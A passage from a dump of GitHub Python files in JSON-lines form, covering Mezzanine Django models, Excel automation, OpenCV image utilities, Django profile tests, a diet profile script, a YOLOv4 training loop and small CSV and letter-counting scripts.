metaclass=OrderableBase):\n \"\"\"\n Abstract model that provides a custom ordering integer field\n similar to using Meta's ``order_with_respect_to``, since to\n date (Django 1.2) this doesn't work with ``ForeignKey(\"self\")``,\n or with Generic Relations. We may also want this feature for\n models that aren't ordered with respect to a particular field.\n \"\"\"\n\n _order = OrderField(_(\"Order\"), null=True)\n\n class Meta:\n abstract = True\n\n def with_respect_to(self):\n \"\"\"\n Returns a dict to use as a filter for ordering operations\n containing the original ``Meta.order_with_respect_to`` value\n if provided. If the field is a Generic Relation, the dict\n returned contains names and values for looking up the\n relation's ``ct_field`` and ``fk_field`` attributes.\n \"\"\"\n try:\n name = self.order_with_respect_to\n value = getattr(self, name)\n except AttributeError:\n # No ``order_with_respect_to`` specified on the model.\n return {}\n # Support for generic relations.\n field = getattr(self.__class__, name)\n if isinstance(field, GenericForeignKey):\n names = (field.ct_field, field.fk_field)\n return {n: getattr(self, n) for n in names}\n return {name: value}\n\n def save(self, *args, **kwargs):\n \"\"\"\n Set the initial ordering value.\n \"\"\"\n if self._order is None:\n lookup = self.with_respect_to()\n lookup[\"_order__isnull\"] = False\n concrete_model = base_concrete_model(Orderable, self)\n self._order = concrete_model.objects.filter(**lookup).count()\n super().save(*args, **kwargs)\n\n def delete(self, *args, **kwargs):\n \"\"\"\n Update the ordering values for siblings.\n \"\"\"\n lookup = self.with_respect_to()\n lookup[\"_order__gte\"] = self._order\n concrete_model = base_concrete_model(Orderable, self)\n after = concrete_model.objects.filter(**lookup)\n after.update(_order=models.F(\"_order\") - 1)\n super().delete(*args, **kwargs)\n\n def _get_next_or_previous_by_order(self, is_next, **kwargs):\n \"\"\"\n Retrieves next or previous object by order. We implement our\n own version instead of Django's so we can hook into the\n published manager, concrete subclasses and our custom\n ``with_respect_to`` method.\n \"\"\"\n lookup = self.with_respect_to()\n lookup[\"_order\"] = self._order + (1 if is_next else -1)\n concrete_model = base_concrete_model(Orderable, self)\n try:\n queryset = concrete_model.objects.published\n except AttributeError:\n queryset = concrete_model.objects.filter\n try:\n return queryset(**kwargs).get(**lookup)\n except concrete_model.DoesNotExist:\n pass\n\n def get_next_by_order(self, **kwargs):\n \"\"\"\n Retrieves next object by order.\n \"\"\"\n return self._get_next_or_previous_by_order(True, **kwargs)\n\n def get_previous_by_order(self, **kwargs):\n \"\"\"\n Retrieves previous object by order.\n \"\"\"\n return self._get_next_or_previous_by_order(False, **kwargs)\n\n\nclass Ownable(models.Model):\n \"\"\"\n Abstract model that provides ownership of an object for a user.\n \"\"\"\n\n user = models.ForeignKey(\n user_model_name,\n on_delete=models.CASCADE,\n verbose_name=_(\"Author\"),\n related_name=\"%(class)ss\",\n )\n\n class Meta:\n abstract = True\n\n def is_editable(self, request):\n \"\"\"\n Restrict in-line editing to the objects's owner and superusers.\n \"\"\"\n return request.user.is_superuser or request.user.id == self.user_id\n\n\nclass ContentTyped(models.Model):\n \"\"\"\n Mixin for models that can be subclassed to create custom types. In order to use\n them:\n\n - Inherit model from ContentTyped.\n - Call the set_content_model() method in the model's save() method.\n - Inherit that model's ModelAdmin from ContentTypesAdmin.\n - Include \"admin/includes/content_typed_change_list.html\" in the change_list.html\n template.\n \"\"\"\n\n content_model = models.CharField(editable=False, max_length=50, null=True)\n\n class Meta:\n abstract = True\n\n @classmethod\n def get_content_model_name(cls):\n \"\"\"\n Return the name of the OneToOneField django automatically creates for\n child classes in multi-table inheritance.\n \"\"\"\n return cls._meta.object_name.lower()\n\n @classmethod\n def get_content_models(cls):\n \"\"\"Return all subclasses of the concrete model.\"\"\"\n concrete_model = base_concrete_model(ContentTyped, cls)\n return [\n m\n for m in apps.get_models()\n if m is not concrete_model and issubclass(m, concrete_model)\n ]\n\n def set_content_model(self):\n \"\"\"\n Set content_model to the child class's related name, or None if this is\n the base class.\n \"\"\"\n if not self.content_model:\n is_base_class = base_concrete_model(ContentTyped, self) == self.__class__\n self.content_model = (\n None if is_base_class else self.get_content_model_name()\n )\n\n def get_content_model(self):\n \"\"\"\n Return content model, or if this is the base class return it.\n \"\"\"\n return getattr(self, self.content_model) if self.content_model else self\n\n\nclass SitePermission(models.Model):\n \"\"\"\n Permission relationship between a user and a site that's\n used instead of ``User.is_staff``, for admin and inline-editing\n access.\n \"\"\"\n\n user = models.OneToOneField(\n user_model_name,\n on_delete=models.CASCADE,\n verbose_name=_(\"Author\"),\n related_name=\"%(class)ss\",\n )\n sites = models.ManyToManyField(\"sites.Site\", blank=True, verbose_name=_(\"Sites\"))\n\n class Meta:\n verbose_name = _(\"Site permission\")\n verbose_name_plural = _(\"Site permissions\")\n","repo_name":"stephenmcd/mezzanine","sub_path":"mezzanine/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":21011,"program_lang":"python","lang":"en","doc_type":"code","stars":4663,"dataset":"github-code","pt":"18"} +{"seq_id":"43111110498","text":"import openpyxl\nfrom openpyxl.drawing.image import Image\nfrom openpyxl.chart import BarChart, Reference\nwb = openpyxl.load_workbook('sales.xlsx')\nsheets = wb.sheetnames\nuserSheet = wb['Users']\nsaleSheet = wb['Sales']\n#newSheet = wb.create_sheet('new sheet')\n#print(wb.active)\n#wb.save('sales.xlsx')\n#wb.remove_sheet('new sheet1')\n#wb.save('sales.xlsx')\n#dict_cell = userSheet._cells\n#for column in userSheet.columns:\n# print(column[0].value,column[1].value, column[2].value,column[3].value)\n#print(userSheet['c6'].value)\n#userSheet['e1'] = 'New Total'\nref = Reference(userSheet, min_col=3, min_row=2, max_col=3, max_row=11)\nchart = BarChart()\nchart.add_data(ref)\nuserSheet.add_chart(chart, 'J6')\n\nfor i in range(2, 12):\n userSheet['E' + str(i)] = userSheet['C' + str(i)].value + 5\nuserSheet['E12'] = '=SUM(E1:E11)'\nimg= Image('new-logo-csk-2.png')\nimg2 = Image('new-logo-csk-2.png')\n\n#saleSheet.merge_cells('C2:D3')\n\n\n\n#userSheet.add_image(img, 'B12')\n#userSheet.add_image(img2, 'E12')\nwb.save('sales.xlsx')\n\n\nprint(saleSheet.dimensions)\nprint(userSheet['b2'].value)\n\n","repo_name":"Emmzy17/automation","sub_path":"Excel Automation/excel_automation.py","file_name":"excel_automation.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14659252281","text":"#!usr/bin/env python3\n\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import fetch_openml\n\n\ndef fetch_mnist():\n \"\"\"Wrapper for getting the mnist dataset.\n\n Returns:\n X, y: Pictures and labels from the MNIST dataset.\n \"\"\"\n\n X, y = fetch_openml('mnist_784', version=1, return_X_y=True)\n\n return X, y\n\n\ndef setting_default_data_dir(assignment=2):\n \"\"\"Setting a default data directory\n\n Returns:\n PosixPath: Data directory\n \"\"\"\n\n if assignment == 2:\n\n root_dir = Path.cwd() # Setting root directory.\n\n data_dir = root_dir / \"data\" / \"17flowers\" # Setting data directory.\n\n if assignment == 3:\n\n root_dir = Path.cwd() # Setting root directory.\n\n data_dir = root_dir / \"data\" / \"ass3\" # Setting data directory.\n\n if assignment == 5:\n\n root_dir = Path.cwd()\n\n train_data_dir = root_dir / \"data\" / \"impressionist_images\" / \"training\" / \"training\"\n\n val_data_dir = root_dir / \"data\" / \"impressionist_images\" / \"validation\" / \"validation\"\n\n return train_data_dir, val_data_dir\n\n return data_dir\n\n\ndef setting_default_out_dir():\n \"\"\"Setting a default Output directory\n\n Returns:\n PosixPath: Output directory\n \"\"\"\n\n root_dir = Path.cwd() # Setting root directory.\n\n out_dir = root_dir / \"out\" # Setting data directory.\n\n return out_dir\n\ndef setting_default_target_path(assignment=2):\n \"\"\"Setting a default Output directory\n\n Returns:\n PosixPath: Output directory\n \"\"\"\n\n if assignment == 2:\n \n root_dir = Path.cwd() # Setting root directory.\n\n target_path = root_dir / \"data\" / \"17flowers\" / \"image_1360.jpg\" # Setting target path.\n\n if assignment == 3:\n \n root_dir = Path.cwd() # Setting root directory.\n\n target_path = root_dir / \"data\" / \"ass3\" / \"ass3.jpg\" # Setting target path.\n\n return target_path\n\n\ndef get_filepaths_from_data_dir(data_dir, file_extension=\"*.jpg\"):\n \"\"\"Creates a list containing paths to filenames in a data directoryl\n\n Args:\n data_dir (PosixPath): PosixPath to the data directory.\n file_extension (str): A string with the given file extension you want to extract.\n \"\"\"\n\n files = [file for file in data_dir.glob(file_extension) if file.is_file()] # Using list comprehension to get all the file names if they are files.\n\n return files\n\n\ndef get_filename(file):\n \"\"\"Creates a list of filenames in a directory.\n\n Args:\n files (list): List of file paths\n\n Returns:\n filename: list of filenames\n \"\"\"\n\n filename = file.name # I take the last snippet of the path which is the file and the file extension.\n\n return filename\n\n\ndef load_text(file):\n \"\"\"Loads an image.\n\n Args:\n file (PosixPath): A path to an image file.\n\n Returns:\n numpy.ndarray: NumPy Array containg all the pixels for the image.\n \"\"\"\n\n # Read each file.\n\n with open(file, encoding=\"utf-8\") as f:\n\n try:\n\n text = f.read()\n\n except TypeError:\n\n print(\"wtf\")\n\n f.close()\n\n return text\n\ndef load_image(file):\n \"\"\"Loads an image.\n\n Args:\n file (PosixPath): A path to an image file.\n\n Returns:\n numpy.ndarray: NumPy Array containg all the pixels for the image.\n \"\"\"\n\n image = cv2.imread(str(file))\n\n return image\n\n\ndef grab_contours(cnts):\n # if the length the contours tuple returned by cv2.findContours\n # is '2' then we are using either OpenCV v2.4, v4-beta, or\n # v4-official\n if len(cnts) == 2:\n cnts = cnts[0]\n\n # if the length of the contours tuple is '3' then we are using\n # either OpenCV v3, v4-pre, or v4-alpha\n elif len(cnts) == 3:\n \tcnts = cnts[1]\n\n # otherwise OpenCV has changed their cv2.findContours return\n # signature yet again and I have no idea WTH is going on\n else:\n \traise Exception((\"Contours tuple must have length 2 or 3, \"\n \t\t\"otherwise OpenCV changed their cv2.findContours return \"\n \t\t\"signature yet again. Refer to OpenCV's documentation \"\n \t\t\"in that case\"))\n\n # return the actual contours array\n return cnts\n\ndef translate(image, x, y):\n\t# Define the translation matrix and perform the translation\n\tM = np.float32([[1, 0, x], [0, 1, y]])\n\tshifted = cv2.warpAffine(image, M, (image.shape[1], image.shape[0]))\n\n\t# Return the translated image\n\treturn shifted\n\n\ndef rotate(image, angle, center = None, scale = 1.0):\n\t# Grab the dimensions of the image\n\t(h, w) = image.shape[:2]\n\n\t# If the center is None, initialize it as the center of\n\t# the image\n\tif center is None:\n\t\tcenter = (w / 2, h / 2)\n\n\t# Perform the rotation\n\tM = cv2.getRotationMatrix2D(center, angle, scale)\n\trotated = cv2.warpAffine(image, M, (w, h))\n\n\t# Return the rotated image\n\treturn rotated\n\n\ndef resize(image, width = None, height = None, inter = cv2.INTER_AREA):\n\t# initialize the dimensions of the image to be resized and\n\t# grab the image size\n\tdim = None\n\t(h, w) = image.shape[:2]\n\n\t# if both the width and height are None, then return the\n\t# original image\n\tif width is None and height is None:\n\t\treturn image\n\n\t# check to see if the width is None\n\tif width is None:\n\t\t# calculate the ratio of the height and construct the\n\t\t# dimensions\n\t\tr = height / float(h)\n\t\tdim = (int(w * r), height)\n\n\t# otherwise, the height is None\n\telse:\n\t\t# calculate the ratio of the width and construct the\n\t\t# dimensions\n\t\tr = width / float(w)\n\t\tdim = (width, int(h * r))\n\n\t# resize the image\n\tresized = cv2.resize(image, dim, interpolation = inter)\n\n\t# return the resized image\n\treturn resized\n\ndef jimshow(image, title=False):\n \"\"\"imshow with matplotlib dependencies \n \"\"\"\n # Acquire default dots per inch value of matplotlib\n dpi = mpl.rcParams['figure.dpi']\n\n height, width, depth = image.shape\n figsize = width / float(dpi), height / float(dpi)\n \n plt.figure(figsize=figsize)\n \n if depth == 1:\n plt.imshow(image, cmap='gray')\n else:\n plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n \n if title:\n plt.title(title)\n plt.axis('off')\n \n plt.show()\n\ndef jimshow_channel(image, title=False):\n \"\"\"\n Modified jimshow() to plot individual channels\n \"\"\"\n # Acquire default dots per inch value of matplotlib\n dpi = mpl.rcParams['figure.dpi']\n\n height, width = image.shape\n figsize = width / float(dpi), height / float(dpi)\n \n plt.figure(figsize=figsize)\n \n plt.imshow(image, cmap='gray')\n \n if title:\n plt.title(title)\n plt.axis('off')\n \n plt.show()","repo_name":"MalteHB/visual_analytics_cds","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1979923829","text":"# -- DJANGO\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.test import SimpleTestCase, TestCase\nfrom django.utils import datetime_safe\n\n# -- QXSMS\nfrom manager.factories import ManagerFactory\nfrom panelist.factories import PanelistFactory\nfrom panelist.models import BlankSlot, BlankSlotValue, Profile\n\nUser = get_user_model()\n\n\nclass BlankSlotTestCase(SimpleTestCase):\n\n def test_str(self):\n b = BlankSlot(name='foo', description='bar')\n self.assertEqual(str(b), 'foo')\n\n\nclass ProfileTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n cls.nc = ManagerFactory()\n cls.panelist = PanelistFactory(panel__managers=[cls.nc])\n cls.blankslot = BlankSlot.objects.create(name='bk1')\n cls.panel = cls.panelist.panel\n\n def test_embedded_data(self):\n BlankSlotValue.objects.create(profile=self.panelist, blankslot=self.blankslot, value='test')\n self.assertEqual(self.panelist.get_embedded_data()['bk1'], 'test')\n\n def test_clean_opt_out(self):\n self.panelist.opt_out_reason = 'reason'\n self.assertRaises(ValidationError, self.panelist.full_clean)\n\n def test_unique_constraint_ess_id_panel(self):\n\n profile = Profile(\n ess_id=self.panelist.ess_id,\n panel=self.panel,\n )\n with self.assertRaisesMessage(ValidationError, \"Profile with this Panel and Ess id already exists.\"):\n profile.validate_unique()\n\n def test_unique_constraints_on_related_user(self):\n User.objects.create(email='foo@bar.eu')\n User.objects.create(phone='+33666666666')\n profile = Profile(email='foo@bar.eu')\n with self.assertRaisesMessage(ValidationError, \"Email belongs to another user\"):\n profile.validate_unique()\n profile = Profile(phone='+33666666666')\n with self.assertRaisesMessage(ValidationError, \"Phone belongs to another user\"):\n profile.validate_unique()\n\n def test_validate_eduyrs_range(self):\n profile = Profile(education_years=100)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 99.\"):\n profile.full_clean()\n\n def test_validate_dob_range(self):\n profile = Profile(day_of_birth=50)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 31, or 77, 88, 99.\"):\n profile.full_clean()\n\n def test_validate_mob_range(self):\n profile = Profile(month_of_birth=13)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 12, or 77, 88, 99.\"):\n profile.full_clean()\n\n def test_validate_yob_range(self):\n profile = Profile(year_of_birth=2010)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1900 and 2005, or 7777, 8888, 9999.\"):\n profile.full_clean()\n\n def test_date_of_birth(self):\n # All field are good\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=10, day_of_birth=23)\n self.assertEqual(profile.date_of_birth, datetime_safe.date(year=1993, month=10, day=23))\n # Year above 7777\n with self.subTest():\n profile = Profile(year_of_birth=8888, month_of_birth=42, day_of_birth=11)\n self.assertEqual(profile.date_of_birth, None)\n # Month and day above 77\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=77, day_of_birth=77)\n self.assertEqual(profile.date_of_birth, datetime_safe.date(year=1993, month=1, day=1))\n # Month above 12 (simulation of the bug)\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=27, day_of_birth=11)\n with self.assertRaisesMessage(ValueError, \"month must be in 1..12\"):\n profile.date_of_birth\n","repo_name":"CDSP-SCPO/WPSS-for-ESS-webpanel","sub_path":"panelist/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"31272240194","text":"from .profile import Profile\nfrom ..meals_generator.food_list import foods\nfrom time import sleep\n\ndef profile_generator():\n profile_instance = Profile( \n name=input(f'Input your name: '), \n sex=input(f'Input your sex: '),\n weight=int(input(f'Input your weight: ')),\n target_weight=int(input(f'Input your target weight: ')),\n allergics=check_allergy(),\n calorie_consumption=int(input(f'Input your daily calorie comsumption: ')),\n diet=check_diet(),\n )\n sleep(0.7)\n print(f'Profile created!')\n return profile_instance\n\ndef profile_generator2():\n profile_instance = Profile( \n name='Peter Belly', \n sex='male',\n weight=70,\n target_weight=80,\n allergics=check_allergy(),\n calorie_consumption=2500,\n diet='low_carb',\n )\n return profile_instance\n\ndef check_diet():\n diet_list = ('low_carb', 'dash', 'paleolithic', 'ketogenic')\n diet = input(f'Input your diet type(LOW CARB, DASH, PALEOLITHIC or KETOGENIC): ').lower().replace(' ', '_')\n print(diet)\n if diet not in diet_list:\n print(f'Invalid command! try again...')\n check_diet()\n else:\n return diet\n\ndef check_allergy():\n command = input(f'Do you have any allergic ingredient to avoid? (enter \"yes\" or press \"Enter\" to continue): ')\n if command.lower() == 'yes':\n return generate_allergics()\n elif command and command != 'yes':\n print(f'Invalid command! try again...')\n check_allergy()\n else:\n return []\n\ndef generate_allergics(allergic_list=[]):\n allergic = input('Input your allergic: ')\n\n # Invalid commands check\n if allergic not in foods:\n allergic = input(f'Allergic not found, check the spelling and try again or press \"ENTER\" to contiue: ')\n elif allergic in allergic_list:\n sleep(0.5)\n print(f'Allergic already added!')\n if allergic and allergic not in allergic_list:\n allergic_list.append(allergic)\n sleep(0.5)\n print('Allergic added!')\n else:\n return allergic_list\n run = True\n while run:\n print(f'Your list => {allergic_list}')\n command = input(f'Input \"add\" to add more allergics or press \"Enter\" to exit: ').lower()\n if command == 'add':\n return generate_allergics(allergic_list)\n elif command and command != 'add':\n sleep(0.5)\n print(f'Command invalid! try again.')\n else:\n print(f'Closing function...')\n return allergic_list\n \n\n","repo_name":"JonasFiechter/my_diet","sub_path":"src/features/profile_generator/profile_generator.py","file_name":"profile_generator.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25583845139","text":"from absl import app, flags, logging\nfrom absl.flags import FLAGS\nimport os\nimport shutil\nimport tensorflow as tf\n# from core.yolov4 import YOLO, decode, compute_loss, decode_train\nfrom core.dataset import Dataset\nfrom core.config import cfg\nimport numpy as np\nfrom core import utils\nfrom core.utils import freeze_all, unfreeze_all\nimport csv\n\nflags.DEFINE_string('model', 'yolov4', 'yolov4, yolov3')\nflags.DEFINE_string('weights', None, 'pretrained weights')\nflags.DEFINE_boolean('tiny', False, 'yolo or yolo-tiny')\n\ndef main(_argv):\n physical_devices = tf.config.experimental.list_physical_devices('GPU')\n if len(physical_devices) > 0:\n print(physical_devices) \n print(physical_devices[0]) \n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n from core.yolov4 import YOLO, decode, compute_loss, decode_train\n\n trainset = Dataset(FLAGS, is_training=True)\n testset = Dataset(FLAGS, is_training=False)\n logdir = \"./data/log\"\n isfreeze = False\n steps_per_epoch = len(trainset)\n # first_stage_epochs = cfg.TRAIN.FISRT_STAGE_EPOCHS\n # second_stage_epochs = cfg.TRAIN.SECOND_STAGE_EPOCHS\n epochs = cfg.TRAIN.EPOCHS\n global_steps = tf.Variable(1, trainable=False, dtype=tf.int64)\n warmup_steps = cfg.TRAIN.WARMUP_EPOCHS * steps_per_epoch\n total_steps = (epochs) * steps_per_epoch\n # train_steps = (first_stage_epochs + second_stage_epochs) * steps_per_period\n\n input_layer = tf.keras.layers.Input([cfg.TRAIN.INPUT_SIZE, cfg.TRAIN.INPUT_SIZE, cfg.TRAIN.INPUT_SIZE, 1])\n STRIDES, ANCHORS, NUM_CLASS, XYSCALE = utils.load_config(FLAGS)\n IOU_LOSS_THRESH = cfg.YOLO.IOU_LOSS_THRESH\n\n freeze_layers = utils.load_freeze_layer(FLAGS.model, FLAGS.tiny)\n\n feature_maps = YOLO(input_layer, NUM_CLASS, FLAGS.model, FLAGS.tiny)\n if FLAGS.tiny:\n raise(\"not available\")\n else:\n bbox_tensors = []\n for i, fm in enumerate(feature_maps):\n if i == 0:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 8, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n elif i == 1:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 16, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n else:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 32, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n bbox_tensors.append(fm)\n bbox_tensors.append(bbox_tensor)\n\n # strategy = tf.distribute.MirroredStrategy()\n # with strategy.scope():\n # model = tf.keras.Model(input_layer, bbox_tensors)\n \n\n model = tf.keras.Model(input_layer, bbox_tensors)\n # model = tf.keras.Model(input_layer, feature_maps)\n # model.compile(run_eagerly=True)\n # model.summary()\n\n if FLAGS.weights == None:\n print(\"Training from scratch\")\n else:\n raise\n if FLAGS.weights.split(\".\")[len(FLAGS.weights.split(\".\")) - 1] == \"weights\":\n utils.load_weights(model, FLAGS.weights, FLAGS.model, FLAGS.tiny)\n else:\n model.load_weights(FLAGS.weights)\n print('Restoring weights from: %s ... ' % FLAGS.weights)\n\n\n optimizer = tf.keras.optimizers.Adam()\n if os.path.exists(logdir): shutil.rmtree(logdir)\n # writer = tf.summary.create_file_writer(logdir)\n\n # define training step function\n # @tf.function\n def train_step(image_data, target):\n with tf.GradientTape() as tape:\n pred_result = model(image_data, training=True)\n giou_loss = conf_loss = prob_loss = 0\n\n # optimizing process\n for i in range(len(freeze_layers)):\n conv, pred = pred_result[i * 2], pred_result[i * 2 + 1]\n loss_items = compute_loss(pred, conv, target[i][0], target[i][1], STRIDES=STRIDES, NUM_CLASS=NUM_CLASS, IOU_LOSS_THRESH=IOU_LOSS_THRESH, i=i)\n giou_loss += loss_items[0]\n conf_loss += loss_items[1]\n prob_loss += loss_items[2]\n\n total_loss = giou_loss + conf_loss + prob_loss\n\n gradients = tape.gradient(total_loss, model.trainable_variables)\n optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n tf.print(\"=> STEP %4d/%4d lr: %.6f giou_loss: %4.2f conf_loss: %4.2f \"\n \"prob_loss: %4.2f total_loss: %4.2f\" % (global_steps, total_steps, optimizer.lr.numpy(),\n giou_loss, conf_loss,\n prob_loss, total_loss))\n # update learning rate\n global_steps.assign_add(1)\n # if global_steps < warmup_steps:\n # lr = global_steps / warmup_steps * cfg.TRAIN.LR_INIT\n # else:\n # lr = cfg.TRAIN.LR_END + 0.5 * (cfg.TRAIN.LR_INIT - cfg.TRAIN.LR_END) * (\n # (1 + tf.cos((global_steps - warmup_steps) / (total_steps - warmup_steps) * np.pi))\n # )\n # optimizer.lr.assign(lr.numpy())\n\n # writing summary data\n # with writer.as_default():\n # tf.summary.scalar(\"lr\", optimizer.lr, step=global_steps)\n # tf.summary.scalar(\"loss/total_loss\", total_loss, step=global_steps)\n # tf.summary.scalar(\"loss/giou_loss\", giou_loss, step=global_steps)\n # tf.summary.scalar(\"loss/conf_loss\", conf_loss, step=global_steps)\n # tf.summary.scalar(\"loss/prob_loss\", prob_loss, step=global_steps)\n # writer.flush()\n\n return tf.get_static_value(giou_loss), tf.get_static_value(conf_loss), tf.get_static_value(prob_loss), tf.get_static_value(total_loss)\n\n def test_step(image_data, target):\n with tf.GradientTape() as tape:\n pred_result = model(image_data, training=True)\n giou_loss = conf_loss = prob_loss = 0\n\n # optimizing process\n for i in range(len(freeze_layers)):\n conv, pred = pred_result[i * 2], pred_result[i * 2 + 1]\n loss_items = compute_loss(pred, conv, target[i][0], target[i][1], STRIDES=STRIDES, NUM_CLASS=NUM_CLASS, IOU_LOSS_THRESH=IOU_LOSS_THRESH, i=i)\n giou_loss += loss_items[0]\n conf_loss += loss_items[1]\n prob_loss += loss_items[2]\n\n total_loss = giou_loss + conf_loss + prob_loss\n\n tf.print(\"=> TEST STEP %4d giou_loss: %4.2f conf_loss: %4.2f \"\n \"prob_loss: %4.2f total_loss: %4.2f\" % (global_steps, giou_loss, conf_loss,\n prob_loss, total_loss))\n\n return tf.get_static_value(giou_loss), tf.get_static_value(conf_loss), tf.get_static_value(prob_loss), tf.get_static_value(total_loss)\n\n best = 1000000.\n f = open(\"./checkpoint/log.csv\", \"a\", newline=\"\")\n writer = csv.writer(f)\n writer.writerow([\"epoch\", \"giou_loss\"])\n\n for epoch in range(epochs):\n total_giou = 0\n total_conf = 0\n total_prob = 0\n total_loss = 0\n val_total_giou = 0\n val_total_conf = 0\n val_total_prob = 0\n val_total_loss = 0\n cnt = 0\n val_cnt = 0\n print(f\"epoch : {epoch}\")\n if epoch == 0:\n for name in freeze_layers:\n freeze = model.get_layer(name)\n unfreeze_all(freeze)\n for image_data, target in trainset:\n gi, co, pr, to = train_step(image_data, target)\n total_giou += gi\n total_conf += co\n total_prob += pr\n total_loss += to\n cnt += 1\n \n # cnt = 0\n for image_data, target in testset:\n gi, co, pr, to = test_step(image_data, target)\n val_total_giou += gi\n val_total_conf += co\n val_total_prob += pr\n val_total_loss += to\n val_cnt += 1\n\n writer.writerow([epoch, total_giou/cnt, total_conf/cnt, total_prob/cnt, total_loss/cnt, val_total_giou/val_cnt, val_total_conf/val_cnt, val_total_prob/val_cnt, val_total_loss/val_cnt])\n if val_total_loss/val_cnt < best:\n best = val_total_loss/val_cnt\n model.save(f\"./checkpoint/{epoch}-{val_total_loss/val_cnt}.h5\")\n total_giou = 0\n total_conf = 0\n total_prob = 0\n total_loss = 0\n val_total_giou = 0\n val_total_conf = 0\n val_total_prob = 0\n val_total_loss = 0\n cnt = 0\n val_cnt = 0\n \n f.close()\n\nif __name__ == '__main__':\n try:\n app.run(main)\n except SystemExit:\n print(\"error\")\n pass","repo_name":"masaki10/yolov4-for-3d-image","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73342993961","text":"bangladesh = [\"dhaka\", \"khulna\", \"jashore\"]\n\n#change list items\nbangladesh[0] = \"Dhaka\"\n\n#add a single element in the list\nbangladesh.append(\"Comilla\")\n\n#add more than one element\nbangladesh.extend([\"Vola\", \"Barishal\" ,\"Rangpour\"])\n\n#print all list\nprint(bangladesh)","repo_name":"shiamsharif/100DayesOfCode","sub_path":"Day_4/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40269617765","text":"import argparse\n\n# Define script description and the arugment list\nparser = argparse.ArgumentParser(description='Get a count of all English letters and calculate the relative distribution.')\nparser.add_argument('-i', '--input', help='name of the input text file', required=True)\nparser.add_argument('-o', '--output', help='name of the output CSV file')\nargs = parser.parse_args()\n\n# Read input text file\nin_f = open(args.input, \"r\")\n\n# Create output CSV file\nif args.output is not None:\n out_f = open(args.output, \"w\")\nelse:\n out_f = open(\"charcount.csv\", \"w\")\n\nout_f.write(\"letter,count,probability\\n\")\ncontents = in_f.read().lower()\n\n# Set global variables\neng_alpha = \"abcdefghijklmnopqrstuvwxyz\"\nchar_dict = {}\nchar_count = 0\nrel_prob_sum = 0\n\n# Get each character count and calculate max char_count\nfor chr in eng_alpha:\n char_dict[chr] = contents.count(chr)\n char_count += char_dict[chr]\n\nprint(\"Dictionary:\\nletter\\tcount\\tdistribution\")\n# Calculate relative distribution and output data to CSV\nfor chr in eng_alpha:\n rel_prob = float(char_dict[chr])/float(char_count)\n out_f.write(\"{},{},{}\\n\".format(chr,char_dict[chr], rel_prob))\n print(\"{}\\t{}\\t{}\".format(chr,char_dict[chr],rel_prob))\n rel_prob_sum += rel_prob\n\nprint(\"Relative Probability: {}\".format(rel_prob_sum))\nprint(\"Character Count: {}\".format(char_count))\n","repo_name":"ScrawnySquirrel/CharacterCount","sub_path":"charcount.py","file_name":"charcount.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10034921534","text":"# Claire Williams and Luisa Escosteguy\nimport csv\n\ndef make_publishers():\n publisher_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n publisher = row[4]\n if publisher not in publisher_dict:\n publisher_dict[publisher] = [len(publisher_dict) + 1]\n \n with open('static/publishers.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for publisher in publisher_dict:\n writer.writerow([publisher_dict[publisher][0], publisher])\n \n return publisher_dict\n\ndef make_platforms():\n platform_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n platform = row[1]\n if platform not in platform_dict:\n platform_dict[platform] = [len(platform_dict) + 1]\n \n with open('static/platforms.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for platform in platform_dict:\n writer.writerow([platform_dict[platform][0], platform])\n \n return platform_dict\n\ndef make_genres():\n genre_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in 